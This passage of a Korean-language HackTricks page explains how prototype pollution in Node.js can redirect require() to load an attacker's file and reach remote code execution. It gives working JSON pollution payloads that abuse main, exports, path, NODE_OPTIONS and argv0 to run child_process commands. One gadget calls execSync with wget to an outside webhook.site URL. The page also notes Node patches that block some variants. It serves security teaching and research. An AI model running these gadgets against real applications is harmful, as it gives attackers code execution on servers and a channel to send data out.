  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();
  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์„ ํ†ตํ•œ require ํŒŒ์ผ ๊ฒฝ๋กœ ์„ค์ •

Warning

์ด์ „ ๊ธฐ์ˆ ์€ ์‚ฌ์šฉ์ž๊ฐ€ ํŒŒ์ผ์˜ ๊ฒฝ๋กœ๋ฅผ ์ œ์–ดํ•ด์•ผ ํ•œ๋‹ค๋Š” ์ „์ œ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ด๊ฒƒ์ด ํ•ญ์ƒ ์‚ฌ์‹ค์€ ์•„๋‹™๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์ฝ”๋“œ๊ฐ€ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ํ›„์— require๋ฅผ ์‹คํ–‰ํ•  ๊ฒฝ์šฐ, ๊ฒฝ๋กœ๋ฅผ ์ œ์–ดํ•˜์ง€ ์•Š๋”๋ผ๋„ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์„ ์•…์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ๊ฒฝ๋กœ๋ฅผ ๊ฐ•์ œ๋กœ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ฝ”๋“œ ๋ผ์ธ์ด require("./a_file.js") ๋˜๋Š” require("bytes")์™€ ๊ฐ™๋”๋ผ๋„ ์˜ค์—ผ๋œ ํŒจํ‚ค์ง€๋ฅผ requireํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ํ›„์— require๊ฐ€ ์‹คํ–‰๋˜๊ณ  spawn ํ•จ์ˆ˜๊ฐ€ ์—†์œผ๋ฉด, ๊ณต๊ฒฉ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • ์‹œ์Šคํ…œ ๋‚ด์˜ .js ํŒŒ์ผ์„ ์ฐพ์Šต๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์ด require๋  ๋•Œ child_process๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ณต๊ฒฉํ•˜๋Š” ํ”Œ๋žซํผ์— ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ๋Ÿฐ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๊ฒฝ๋กœ๋ฅผ ์˜ค์—ผ์‹œ์ผœ .js ํŒŒ์ผ์˜ require ๋กœ๋“œ๋ฅผ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์€ child_process๋กœ ๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.
  • ํ™˜๊ฒฝ/๋ช…๋ น์ค„์„ ์˜ค์—ผ์‹œ์ผœ child_process ์‹คํ–‰ ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋  ๋•Œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค (์ดˆ๊ธฐ ๊ธฐ์ˆ  ์ฐธ์กฐ).

์ ˆ๋Œ€ require

์ˆ˜ํ–‰๋œ require๊ฐ€ ์ ˆ๋Œ€์ (require("bytes"))์ด๊ณ  ํŒจํ‚ค์ง€๊ฐ€ package.json ํŒŒ์ผ์— main์„ ํฌํ•จํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, main ์†์„ฑ์„ ์˜ค์—ผ์‹œ์ผœ require๊ฐ€ ๋‹ค๋ฅธ ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

์ƒ๋Œ€ ๊ฒฝ๋กœ - 1

์ ˆ๋Œ€ ๊ฒฝ๋กœ ๋Œ€์‹  ์ƒ๋Œ€ ๊ฒฝ๋กœ๊ฐ€ ๋กœ๋“œ๋˜๋ฉด, ๋…ธ๋“œ๊ฐ€ ๋‹ค๋ฅธ ๊ฒฝ๋กœ๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

์ƒ๋Œ€ require - 2

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Relative require - 3

์ด์ „๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, ์ด ๊ธ€์—์„œ ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}

require("./usage.js")

VM Gadgets

๋…ผ๋ฌธ https://arxiv.org/pdf/2207.11171.pdf์—์„œ๋Š” vm ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ์ผ๋ถ€ ๋ฉ”์„œ๋“œ์—์„œ **contextExtensions**์˜ ์ œ์–ด๊ฐ€ ๊ฐ€์ ฏ์œผ๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋‹ค๊ณ ๋„ ์–ธ๊ธ‰ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ ์ด์ „์˜ child_process ๋ฉ”์„œ๋“œ์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์ตœ์‹  ๋ฒ„์ „์—์„œ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Fixes & Unexpected protections

ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์€ ์ ‘๊ทผํ•˜๋Š” ๊ฐ์ฒด์˜ attribute๊ฐ€ undefined์ผ ๋•Œ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์ฝ”๋“œ์—์„œ ๊ทธ attribute์— ๊ฐ’์ด ์„ค์ •๋˜์–ด ์žˆ๋‹ค๋ฉด ๋ฎ์–ด์“ธ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

2022๋…„ 6์›” ์ด ์ปค๋ฐ‹์—์„œ var options๋Š” {} ๋Œ€์‹  **kEmptyObject**์ž…๋‹ˆ๋‹ค. ์ด๋Š” RCE๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด **options**์˜ attributes์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.
์ตœ์†Œํ•œ v18.4.0๋ถ€ํ„ฐ ์ด ๋ณดํ˜ธ๊ฐ€ ๊ตฌํ˜„๋˜์—ˆ์œผ๋ฉฐ, ๋”ฐ๋ผ์„œ spawn ๋ฐ spawnSync ์ต์Šคํ”Œ๋กœ์ž‡์€ ๋” ์ด์ƒ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค (์˜ต์…˜์ด ์‚ฌ์šฉ๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ!).

์ด ์ปค๋ฐ‹์—์„œ๋Š” vm ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ **contextExtensions**์˜ prototype pollution์ด {} ๋Œ€์‹  **kEmptyObject**๋กœ ์„ค์ •ํ•˜์—ฌ ์–ด๋А ์ •๋„ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

[!INFO] **Node 20 (2023๋…„ 4์›”) ๋ฐ Node 22 (2025๋…„ 4์›”)**๋Š” ์ถ”๊ฐ€์ ์ธ ๊ฐ•ํ™” ์กฐ์น˜๋ฅผ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค: ์—ฌ๋Ÿฌ child_process ํ—ฌํผ๋Š” ์ด์ œ ์ฐธ์กฐ๋กœ ์‚ฌ์šฉํ•˜๋Š” ๋Œ€์‹  **CopyOptions()**๋กœ ์‚ฌ์šฉ์ž ์ œ๊ณต options๋ฅผ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” stdio์™€ ๊ฐ™์€ ์ค‘์ฒฉ ๊ฐ์ฒด์˜ ์˜ค์—ผ์„ ์ฐจ๋‹จํ•˜์ง€๋งŒ, ์œ„์—์„œ ์„ค๋ช…ํ•œ NODE_OPTIONS / --import ํŠธ๋ฆญ์— ๋Œ€ํ•ด์„œ๋Š” ๋ณดํ˜ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค โ€“ ์ด๋Ÿฌํ•œ ํ”Œ๋ž˜๊ทธ๋Š” ์—ฌ์ „ํžˆ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ํ†ตํ•ด ์ˆ˜์šฉ๋ฉ๋‹ˆ๋‹ค.
์™„์ „ํ•œ ์ˆ˜์ •์€ ๋ถ€๋ชจ ํ”„๋กœ์„ธ์Šค์—์„œ ์ „ํŒŒ๋  ์ˆ˜ ์žˆ๋Š” CLI ํ”Œ๋ž˜๊ทธ๋ฅผ ์ œํ•œํ•ด์•ผ ํ•˜๋ฉฐ, ์ด๋Š” Node Issue #50559์—์„œ ์ถ”์ ๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

Other Gadgets

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ